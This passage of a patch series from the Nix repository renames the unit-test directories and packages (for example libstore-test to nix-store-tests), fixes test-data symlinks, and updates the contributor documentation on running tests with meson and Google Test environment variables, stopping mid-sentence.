diff --git a/src/libstore-test/data/serve-protocol/build-options-2.7.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.7.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/build-options-2.7.bin
rename to src/nix-store-tests/data/serve-protocol/build-options-2.7.bin
diff --git a/src/libstore-test/data/serve-protocol/build-result-2.2.bin b/src/nix-store-tests/data/serve-protocol/build-result-2.2.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/build-result-2.2.bin
rename to src/nix-store-tests/data/serve-protocol/build-result-2.2.bin
diff --git a/src/libstore-test/data/serve-protocol/build-result-2.3.bin b/src/nix-store-tests/data/serve-protocol/build-result-2.3.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/build-result-2.3.bin
rename to src/nix-store-tests/data/serve-protocol/build-result-2.3.bin
diff --git a/src/libstore-test/data/serve-protocol/build-result-2.6.bin b/src/nix-store-tests/data/serve-protocol/build-result-2.6.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/build-result-2.6.bin
rename to src/nix-store-tests/data/serve-protocol/build-result-2.6.bin
diff --git a/src/libstore-test/data/serve-protocol/content-address.bin b/src/nix-store-tests/data/serve-protocol/content-address.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/content-address.bin
rename to src/nix-store-tests/data/serve-protocol/content-address.bin
diff --git a/src/libstore-test/data/serve-protocol/drv-output.bin b/src/nix-store-tests/data/serve-protocol/drv-output.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/drv-output.bin
rename to src/nix-store-tests/data/serve-protocol/drv-output.bin
diff --git a/src/libstore-test/data/serve-protocol/handshake-to-client.bin b/src/nix-store-tests/data/serve-protocol/handshake-to-client.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/handshake-to-client.bin
rename to src/nix-store-tests/data/serve-protocol/handshake-to-client.bin
diff --git a/src/libstore-test/data/serve-protocol/optional-content-address.bin b/src/nix-store-tests/data/serve-protocol/optional-content-address.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/optional-content-address.bin
rename to src/nix-store-tests/data/serve-protocol/optional-content-address.bin
diff --git a/src/libstore-test/data/serve-protocol/optional-store-path.bin b/src/nix-store-tests/data/serve-protocol/optional-store-path.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/optional-store-path.bin
rename to src/nix-store-tests/data/serve-protocol/optional-store-path.bin
diff --git a/src/libstore-test/data/serve-protocol/realisation.bin b/src/nix-store-tests/data/serve-protocol/realisation.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/realisation.bin
rename to src/nix-store-tests/data/serve-protocol/realisation.bin
diff --git a/src/libstore-test/data/serve-protocol/set.bin b/src/nix-store-tests/data/serve-protocol/set.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/set.bin
rename to src/nix-store-tests/data/serve-protocol/set.bin
diff --git a/src/libstore-test/data/serve-protocol/store-path.bin b/src/nix-store-tests/data/serve-protocol/store-path.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/store-path.bin
rename to src/nix-store-tests/data/serve-protocol/store-path.bin
diff --git a/src/libstore-test/data/serve-protocol/string.bin b/src/nix-store-tests/data/serve-protocol/string.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/string.bin
rename to src/nix-store-tests/data/serve-protocol/string.bin
diff --git a/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin b/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
rename to src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin
diff --git a/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin b/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
rename to src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin
diff --git a/src/libstore-test/data/serve-protocol/vector.bin b/src/nix-store-tests/data/serve-protocol/vector.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/vector.bin
rename to src/nix-store-tests/data/serve-protocol/vector.bin
diff --git a/src/libstore-test/data/store-reference/auto.txt b/src/nix-store-tests/data/store-reference/auto.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/auto.txt
rename to src/nix-store-tests/data/store-reference/auto.txt
diff --git a/src/libstore-test/data/store-reference/auto_param.txt b/src/nix-store-tests/data/store-reference/auto_param.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/auto_param.txt
rename to src/nix-store-tests/data/store-reference/auto_param.txt
diff --git a/src/libstore-test/data/store-reference/local_1.txt b/src/nix-store-tests/data/store-reference/local_1.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/local_1.txt
rename to src/nix-store-tests/data/store-reference/local_1.txt
diff --git a/src/libstore-test/data/store-reference/local_2.txt b/src/nix-store-tests/data/store-reference/local_2.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/local_2.txt
rename to src/nix-store-tests/data/store-reference/local_2.txt
diff --git a/src/libstore-test/data/store-reference/local_shorthand_1.txt b/src/nix-store-tests/data/store-reference/local_shorthand_1.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/local_shorthand_1.txt
rename to src/nix-store-tests/data/store-reference/local_shorthand_1.txt
diff --git a/src/libstore-test/data/store-reference/local_shorthand_2.txt b/src/nix-store-tests/data/store-reference/local_shorthand_2.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/local_shorthand_2.txt
rename to src/nix-store-tests/data/store-reference/local_shorthand_2.txt
diff --git a/src/libstore-test/data/store-reference/ssh.txt b/src/nix-store-tests/data/store-reference/ssh.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/ssh.txt
rename to src/nix-store-tests/data/store-reference/ssh.txt
diff --git a/src/libstore-test/data/store-reference/unix.txt b/src/nix-store-tests/data/store-reference/unix.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/unix.txt
rename to src/nix-store-tests/data/store-reference/unix.txt
diff --git a/src/libstore-test/data/store-reference/unix_shorthand.txt b/src/nix-store-tests/data/store-reference/unix_shorthand.txt
similarity index 100%
rename from src/libstore-test/data/store-reference/unix_shorthand.txt
rename to src/nix-store-tests/data/store-reference/unix_shorthand.txt
diff --git a/src/libstore-test/data/worker-protocol/build-mode.bin b/src/nix-store-tests/data/worker-protocol/build-mode.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/build-mode.bin
rename to src/nix-store-tests/data/worker-protocol/build-mode.bin
diff --git a/src/libstore-test/data/worker-protocol/build-result-1.27.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.27.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/build-result-1.27.bin
rename to src/nix-store-tests/data/worker-protocol/build-result-1.27.bin
diff --git a/src/libstore-test/data/worker-protocol/build-result-1.28.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.28.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/build-result-1.28.bin
rename to src/nix-store-tests/data/worker-protocol/build-result-1.28.bin
diff --git a/src/libstore-test/data/worker-protocol/build-result-1.29.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.29.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/build-result-1.29.bin
rename to src/nix-store-tests/data/worker-protocol/build-result-1.29.bin
diff --git a/src/libstore-test/data/worker-protocol/build-result-1.37.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.37.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/build-result-1.37.bin
rename to src/nix-store-tests/data/worker-protocol/build-result-1.37.bin
diff --git a/src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin b/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin
rename to src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin
diff --git a/src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin b/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin
rename to src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin
diff --git a/src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin b/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin
rename to src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin
diff --git a/src/libstore-test/data/worker-protocol/content-address.bin b/src/nix-store-tests/data/worker-protocol/content-address.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/content-address.bin
rename to src/nix-store-tests/data/worker-protocol/content-address.bin
diff --git a/src/libstore-test/data/worker-protocol/derived-path-1.29.bin b/src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/derived-path-1.29.bin
rename to src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin
diff --git a/src/libstore-test/data/worker-protocol/derived-path-1.30.bin b/src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/derived-path-1.30.bin
rename to src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin
diff --git a/src/libstore-test/data/worker-protocol/drv-output.bin b/src/nix-store-tests/data/worker-protocol/drv-output.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/drv-output.bin
rename to src/nix-store-tests/data/worker-protocol/drv-output.bin
diff --git a/src/libstore-test/data/worker-protocol/handshake-to-client.bin b/src/nix-store-tests/data/worker-protocol/handshake-to-client.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/handshake-to-client.bin
rename to src/nix-store-tests/data/worker-protocol/handshake-to-client.bin
diff --git a/src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin b/src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin
rename to src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin
diff --git a/src/libstore-test/data/worker-protocol/optional-content-address.bin b/src/nix-store-tests/data/worker-protocol/optional-content-address.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/optional-content-address.bin
rename to src/nix-store-tests/data/worker-protocol/optional-content-address.bin
diff --git a/src/libstore-test/data/worker-protocol/optional-store-path.bin b/src/nix-store-tests/data/worker-protocol/optional-store-path.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/optional-store-path.bin
rename to src/nix-store-tests/data/worker-protocol/optional-store-path.bin
diff --git a/src/libstore-test/data/worker-protocol/optional-trusted-flag.bin b/src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/optional-trusted-flag.bin
rename to src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin
diff --git a/src/libstore-test/data/worker-protocol/realisation.bin b/src/nix-store-tests/data/worker-protocol/realisation.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/realisation.bin
rename to src/nix-store-tests/data/worker-protocol/realisation.bin
diff --git a/src/libstore-test/data/worker-protocol/set.bin b/src/nix-store-tests/data/worker-protocol/set.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/set.bin
rename to src/nix-store-tests/data/worker-protocol/set.bin
diff --git a/src/libstore-test/data/worker-protocol/store-path.bin b/src/nix-store-tests/data/worker-protocol/store-path.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/store-path.bin
rename to src/nix-store-tests/data/worker-protocol/store-path.bin
diff --git a/src/libstore-test/data/worker-protocol/string.bin b/src/nix-store-tests/data/worker-protocol/string.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/string.bin
rename to src/nix-store-tests/data/worker-protocol/string.bin
diff --git a/src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin b/src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
rename to src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
diff --git a/src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin b/src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin
rename to src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin
diff --git a/src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin b/src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin
rename to src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin
diff --git a/src/libstore-test/data/worker-protocol/vector.bin b/src/nix-store-tests/data/worker-protocol/vector.bin
similarity index 100%
rename from src/libstore-test/data/worker-protocol/vector.bin
rename to src/nix-store-tests/data/worker-protocol/vector.bin
diff --git a/src/libstore-test/derivation-advanced-attrs.cc b/src/nix-store-tests/derivation-advanced-attrs.cc
similarity index 100%
rename from src/libstore-test/derivation-advanced-attrs.cc
rename to src/nix-store-tests/derivation-advanced-attrs.cc
diff --git a/src/libstore-test/derivation.cc b/src/nix-store-tests/derivation.cc
similarity index 100%
rename from src/libstore-test/derivation.cc
rename to src/nix-store-tests/derivation.cc
diff --git a/src/libstore-test/derived-path.cc b/src/nix-store-tests/derived-path.cc
similarity index 100%
rename from src/libstore-test/derived-path.cc
rename to src/nix-store-tests/derived-path.cc
diff --git a/src/libstore-test/downstream-placeholder.cc b/src/nix-store-tests/downstream-placeholder.cc
similarity index 100%
rename from src/libstore-test/downstream-placeholder.cc
rename to src/nix-store-tests/downstream-placeholder.cc
diff --git a/src/libstore-test/machines.cc b/src/nix-store-tests/machines.cc
similarity index 100%
rename from src/libstore-test/machines.cc
rename to src/nix-store-tests/machines.cc
diff --git a/src/libstore-test/meson.build b/src/nix-store-tests/meson.build
similarity index 98%
rename from src/libstore-test/meson.build
rename to src/nix-store-tests/meson.build
index 6bf0a5028b3..2fde70d3b8b 100644
--- a/src/libstore-test/meson.build
+++ b/src/nix-store-tests/meson.build
@@ -1,4 +1,4 @@
-project('nix-store-test', 'cpp',
+project('nix-store-tests', 'cpp',
   version : files('.version'),
   default_options : [
     'cpp_std=c++2a',
diff --git a/src/libstore-test/nar-info-disk-cache.cc b/src/nix-store-tests/nar-info-disk-cache.cc
similarity index 100%
rename from src/libstore-test/nar-info-disk-cache.cc
rename to src/nix-store-tests/nar-info-disk-cache.cc
diff --git a/src/libstore-test/nar-info.cc b/src/nix-store-tests/nar-info.cc
similarity index 100%
rename from src/libstore-test/nar-info.cc
rename to src/nix-store-tests/nar-info.cc
diff --git a/src/libstore-test/nix_api_store.cc b/src/nix-store-tests/nix_api_store.cc
similarity index 100%
rename from src/libstore-test/nix_api_store.cc
rename to src/nix-store-tests/nix_api_store.cc
diff --git a/src/libstore-test/outputs-spec.cc b/src/nix-store-tests/outputs-spec.cc
similarity index 100%
rename from src/libstore-test/outputs-spec.cc
rename to src/nix-store-tests/outputs-spec.cc
diff --git a/src/libstore-test/package.nix b/src/nix-store-tests/package.nix
similarity index 98%
rename from src/libstore-test/package.nix
rename to src/nix-store-tests/package.nix
index e37e6488623..dc987b3c696 100644
--- a/src/libstore-test/package.nix
+++ b/src/nix-store-tests/package.nix
@@ -40,7 +40,7 @@ let
 in
 
 mkDerivation (finalAttrs: {
-  pname = "nix-store-test";
+  pname = "nix-store-tests";
   inherit version;
 
   src = fileset.toSource {
@@ -105,7 +105,7 @@ mkDerivation (finalAttrs: {
       in runCommand "${finalAttrs.pname}-run" {} ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
         export _NIX_TEST_UNIT_DATA=${data}
-        nix-store-test
+        nix-store-tests
         touch $out
       '';
     };
diff --git a/src/libstore-test/path-info.cc b/src/nix-store-tests/path-info.cc
similarity index 100%
rename from src/libstore-test/path-info.cc
rename to src/nix-store-tests/path-info.cc
diff --git a/src/libstore-test/path.cc b/src/nix-store-tests/path.cc
similarity index 100%
rename from src/libstore-test/path.cc
rename to src/nix-store-tests/path.cc
diff --git a/src/libstore-test/references.cc b/src/nix-store-tests/references.cc
similarity index 100%
rename from src/libstore-test/references.cc
rename to src/nix-store-tests/references.cc
diff --git a/src/libstore-test/serve-protocol.cc b/src/nix-store-tests/serve-protocol.cc
similarity index 100%
rename from src/libstore-test/serve-protocol.cc
rename to src/nix-store-tests/serve-protocol.cc
diff --git a/src/libstore-test/store-reference.cc b/src/nix-store-tests/store-reference.cc
similarity index 100%
rename from src/libstore-test/store-reference.cc
rename to src/nix-store-tests/store-reference.cc
diff --git a/src/libstore-test/worker-protocol.cc b/src/nix-store-tests/worker-protocol.cc
similarity index 100%
rename from src/libstore-test/worker-protocol.cc
rename to src/nix-store-tests/worker-protocol.cc
diff --git a/src/libutil-test-support/.version b/src/nix-util-test-support/.version
similarity index 100%
rename from src/libutil-test-support/.version
rename to src/nix-util-test-support/.version
diff --git a/src/libutil-test-support/build-utils-meson b/src/nix-util-test-support/build-utils-meson
similarity index 100%
rename from src/libutil-test-support/build-utils-meson
rename to src/nix-util-test-support/build-utils-meson
diff --git a/src/libutil-test-support/meson.build b/src/nix-util-test-support/meson.build
similarity index 100%
rename from src/libutil-test-support/meson.build
rename to src/nix-util-test-support/meson.build
diff --git a/src/libutil-test-support/package.nix b/src/nix-util-test-support/package.nix
similarity index 100%
rename from src/libutil-test-support/package.nix
rename to src/nix-util-test-support/package.nix
diff --git a/src/libutil-test-support/tests/characterization.hh b/src/nix-util-test-support/tests/characterization.hh
similarity index 100%
rename from src/libutil-test-support/tests/characterization.hh
rename to src/nix-util-test-support/tests/characterization.hh
diff --git a/src/libutil-test-support/tests/hash.cc b/src/nix-util-test-support/tests/hash.cc
similarity index 100%
rename from src/libutil-test-support/tests/hash.cc
rename to src/nix-util-test-support/tests/hash.cc
diff --git a/src/libutil-test-support/tests/hash.hh b/src/nix-util-test-support/tests/hash.hh
similarity index 100%
rename from src/libutil-test-support/tests/hash.hh
rename to src/nix-util-test-support/tests/hash.hh
diff --git a/src/libutil-test-support/tests/nix_api_util.hh b/src/nix-util-test-support/tests/nix_api_util.hh
similarity index 100%
rename from src/libutil-test-support/tests/nix_api_util.hh
rename to src/nix-util-test-support/tests/nix_api_util.hh
diff --git a/src/libutil-test-support/tests/string_callback.cc b/src/nix-util-test-support/tests/string_callback.cc
similarity index 100%
rename from src/libutil-test-support/tests/string_callback.cc
rename to src/nix-util-test-support/tests/string_callback.cc
diff --git a/src/libutil-test-support/tests/string_callback.hh b/src/nix-util-test-support/tests/string_callback.hh
similarity index 100%
rename from src/libutil-test-support/tests/string_callback.hh
rename to src/nix-util-test-support/tests/string_callback.hh
diff --git a/src/libutil-test/.version b/src/nix-util-tests/.version
similarity index 100%
rename from src/libutil-test/.version
rename to src/nix-util-tests/.version
diff --git a/src/libutil-test/args.cc b/src/nix-util-tests/args.cc
similarity index 100%
rename from src/libutil-test/args.cc
rename to src/nix-util-tests/args.cc
diff --git a/src/libutil-test/build-utils-meson b/src/nix-util-tests/build-utils-meson
similarity index 100%
rename from src/libutil-test/build-utils-meson
rename to src/nix-util-tests/build-utils-meson
diff --git a/src/libutil-test/canon-path.cc b/src/nix-util-tests/canon-path.cc
similarity index 100%
rename from src/libutil-test/canon-path.cc
rename to src/nix-util-tests/canon-path.cc
diff --git a/src/libutil-test/chunked-vector.cc b/src/nix-util-tests/chunked-vector.cc
similarity index 100%
rename from src/libutil-test/chunked-vector.cc
rename to src/nix-util-tests/chunked-vector.cc
diff --git a/src/libutil-test/closure.cc b/src/nix-util-tests/closure.cc
similarity index 100%
rename from src/libutil-test/closure.cc
rename to src/nix-util-tests/closure.cc
diff --git a/src/libutil-test/compression.cc b/src/nix-util-tests/compression.cc
similarity index 100%
rename from src/libutil-test/compression.cc
rename to src/nix-util-tests/compression.cc
diff --git a/src/libutil-test/config.cc b/src/nix-util-tests/config.cc
similarity index 100%
rename from src/libutil-test/config.cc
rename to src/nix-util-tests/config.cc
diff --git a/src/libutil-test/data/git/check-data.sh b/src/nix-util-tests/data/git/check-data.sh
similarity index 100%
rename from src/libutil-test/data/git/check-data.sh
rename to src/nix-util-tests/data/git/check-data.sh
diff --git a/src/libutil-test/data/git/hello-world-blob.bin b/src/nix-util-tests/data/git/hello-world-blob.bin
similarity index 100%
rename from src/libutil-test/data/git/hello-world-blob.bin
rename to src/nix-util-tests/data/git/hello-world-blob.bin
diff --git a/src/libutil-test/data/git/hello-world.bin b/src/nix-util-tests/data/git/hello-world.bin
similarity index 100%
rename from src/libutil-test/data/git/hello-world.bin
rename to src/nix-util-tests/data/git/hello-world.bin
diff --git a/src/libutil-test/data/git/tree.bin b/src/nix-util-tests/data/git/tree.bin
similarity index 100%
rename from src/libutil-test/data/git/tree.bin
rename to src/nix-util-tests/data/git/tree.bin
diff --git a/src/libutil-test/data/git/tree.txt b/src/nix-util-tests/data/git/tree.txt
similarity index 100%
rename from src/libutil-test/data/git/tree.txt
rename to src/nix-util-tests/data/git/tree.txt
diff --git a/src/libutil-test/file-content-address.cc b/src/nix-util-tests/file-content-address.cc
similarity index 100%
rename from src/libutil-test/file-content-address.cc
rename to src/nix-util-tests/file-content-address.cc
diff --git a/src/libutil-test/git.cc b/src/nix-util-tests/git.cc
similarity index 99%
rename from src/libutil-test/git.cc
rename to src/nix-util-tests/git.cc
index 7c360d7c568..24d24a79146 100644
--- a/src/libutil-test/git.cc
+++ b/src/nix-util-tests/git.cc
@@ -88,7 +88,7 @@ TEST_F(GitTest, blob_write) {
 /**
  * This data is for "shallow" tree tests. However, we use "real" hashes
  * so that we can check our test data in a small shell script test test
- * (`src/libutil-test/data/git/check-data.sh`).
+ * (`src/nix-util-tests/data/git/check-data.sh`).
  */
 const static Tree tree = {
     {
diff --git a/src/libutil-test/hash.cc b/src/nix-util-tests/hash.cc
similarity index 100%
rename from src/libutil-test/hash.cc
rename to src/nix-util-tests/hash.cc
diff --git a/src/libutil-test/hilite.cc b/src/nix-util-tests/hilite.cc
similarity index 100%
rename from src/libutil-test/hilite.cc
rename to src/nix-util-tests/hilite.cc
diff --git a/src/libutil-test/json-utils.cc b/src/nix-util-tests/json-utils.cc
similarity index 100%
rename from src/libutil-test/json-utils.cc
rename to src/nix-util-tests/json-utils.cc
diff --git a/src/libutil-test/logging.cc b/src/nix-util-tests/logging.cc
similarity index 100%
rename from src/libutil-test/logging.cc
rename to src/nix-util-tests/logging.cc
diff --git a/src/libutil-test/lru-cache.cc b/src/nix-util-tests/lru-cache.cc
similarity index 100%
rename from src/libutil-test/lru-cache.cc
rename to src/nix-util-tests/lru-cache.cc
diff --git a/src/libutil-test/meson.build b/src/nix-util-tests/meson.build
similarity index 98%
rename from src/libutil-test/meson.build
rename to src/nix-util-tests/meson.build
index 19157cda3a1..67ae48f533b 100644
--- a/src/libutil-test/meson.build
+++ b/src/nix-util-tests/meson.build
@@ -1,4 +1,4 @@
-project('nix-util-test', 'cpp',
+project('nix-util-tests', 'cpp',
   version : files('.version'),
   default_options : [
     'cpp_std=c++2a',
diff --git a/src/libutil-test/nix_api_util.cc b/src/nix-util-tests/nix_api_util.cc
similarity index 100%
rename from src/libutil-test/nix_api_util.cc
rename to src/nix-util-tests/nix_api_util.cc
diff --git a/src/libutil-test/package.nix b/src/nix-util-tests/package.nix
similarity index 97%
rename from src/libutil-test/package.nix
rename to src/nix-util-tests/package.nix
index 396e41f3d36..9df8153b64c 100644
--- a/src/libutil-test/package.nix
+++ b/src/nix-util-tests/package.nix
@@ -39,7 +39,7 @@ let
 in
 
 mkDerivation (finalAttrs: {
-  pname = "nix-util-test";
+  pname = "nix-util-tests";
   inherit version;
 
   src = fileset.toSource {
@@ -98,7 +98,7 @@ mkDerivation (finalAttrs: {
       } ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
         export _NIX_TEST_UNIT_DATA=${./data}
-        nix-util-test
+        nix-util-tests
         touch $out
       '';
     };
diff --git a/src/libutil-test/pool.cc b/src/nix-util-tests/pool.cc
similarity index 100%
rename from src/libutil-test/pool.cc
rename to src/nix-util-tests/pool.cc
diff --git a/src/libutil-test/references.cc b/src/nix-util-tests/references.cc
similarity index 100%
rename from src/libutil-test/references.cc
rename to src/nix-util-tests/references.cc
diff --git a/src/libutil-test/spawn.cc b/src/nix-util-tests/spawn.cc
similarity index 100%
rename from src/libutil-test/spawn.cc
rename to src/nix-util-tests/spawn.cc
diff --git a/src/libutil-test/suggestions.cc b/src/nix-util-tests/suggestions.cc
similarity index 100%
rename from src/libutil-test/suggestions.cc
rename to src/nix-util-tests/suggestions.cc
diff --git a/src/libutil-test/tests.cc b/src/nix-util-tests/tests.cc
similarity index 100%
rename from src/libutil-test/tests.cc
rename to src/nix-util-tests/tests.cc
diff --git a/src/libutil-test/url.cc b/src/nix-util-tests/url.cc
similarity index 100%
rename from src/libutil-test/url.cc
rename to src/nix-util-tests/url.cc
diff --git a/src/libutil-test/xml-writer.cc b/src/nix-util-tests/xml-writer.cc
similarity index 100%
rename from src/libutil-test/xml-writer.cc
rename to src/nix-util-tests/xml-writer.cc

From 224c6c32560665f5514a46ebcddde644604b5c87 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sat, 29 Jun 2024 10:39:36 -0400
Subject: [PATCH 487/528] Fix test symlinks

---
 .../data/derivation/advanced-attributes-defaults.drv            | 2 +-
 .../advanced-attributes-structured-attrs-defaults.drv           | 2 +-
 .../data/derivation/advanced-attributes-structured-attrs.drv    | 2 +-
 src/nix-store-tests/data/derivation/advanced-attributes.drv     | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
index 353090ad84b..f8f30ac321c 120000
--- a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
+++ b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
@@ -1 +1 @@
-../../../../functional/derivation/advanced-attributes-defaults.drv
\ No newline at end of file
+../../../../tests/functional/derivation/advanced-attributes-defaults.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
index 11713da12e3..837e9a0e437 120000
--- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
+++ b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
@@ -1 +1 @@
-../../../../functional/derivation/advanced-attributes-structured-attrs-defaults.drv
\ No newline at end of file
+../../../../tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
index 962f8ea3fe1..e08bb573791 120000
--- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
+++ b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
@@ -1 +1 @@
-../../../../functional/derivation/advanced-attributes-structured-attrs.drv
\ No newline at end of file
+../../../../tests/functional/derivation/advanced-attributes-structured-attrs.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes.drv b/src/nix-store-tests/data/derivation/advanced-attributes.drv
index 2a53a05caee..1dc394a0a4f 120000
--- a/src/nix-store-tests/data/derivation/advanced-attributes.drv
+++ b/src/nix-store-tests/data/derivation/advanced-attributes.drv
@@ -1 +1 @@
-../../../../functional/derivation/advanced-attributes.drv
\ No newline at end of file
+../../../../tests/functional/derivation/advanced-attributes.drv
\ No newline at end of file

From 11dab30be9917e169d6f18e8a46999a0d62dda71 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sat, 29 Jun 2024 10:59:05 -0400
Subject: [PATCH 488/528] Update docs on the unit tests

---
 doc/manual/src/contributing/testing.md | 23 ++++++++++++++++++++---
 src/nix-expr-tests/meson.build         |  9 ++++++++-
 src/nix-fetchers-tests/meson.build     |  9 ++++++++-
 src/nix-flake-tests/meson.build        |  9 ++++++++-
 src/nix-store-tests/meson.build        |  9 ++++++++-
 src/nix-util-tests/meson.build         |  9 ++++++++-
 6 files changed, 60 insertions(+), 8 deletions(-)

diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md
index 399174de5aa..a96ba997bed 100644
--- a/doc/manual/src/contributing/testing.md
+++ b/doc/manual/src/contributing/testing.md
@@ -76,8 +76,25 @@ there is no risk of any build-system wildcards for the library accidentally pick
 
 ### Running tests
 
-You can run the whole testsuite with `make check`, or the tests for a specific component with `make libfoo-tests_RUN`.
-Finer-grained filtering is also possible using the [--gtest_filter](https://google.github.io/googletest/advanced.html#running-a-subset-of-the-tests) command-line option, or the `GTEST_FILTER` environment variable, e.g. `GTEST_FILTER='ErrorTraceTest.*' make check`.
+You can run the whole testsuite with `meson test` from the Meson build directory, or the tests for a specific component with `meson test nix-store-tests`.
+A environment variables that Google Test accepts are also worth knowing:
+
+1. [`GTEST_FILTER`](https://google.github.io/googletest/advanced.html#running-a-subset-of-the-tests)
+
+   This is used for finer-grained filtering of which tests to run.
+
+
+2. [`GTEST_BRIEF`](https://google.github.io/googletest/advanced.html#suppressing-test-passes)
+
+   This is used to avoid logging passing tests.
+
+Putting the two together, one might run
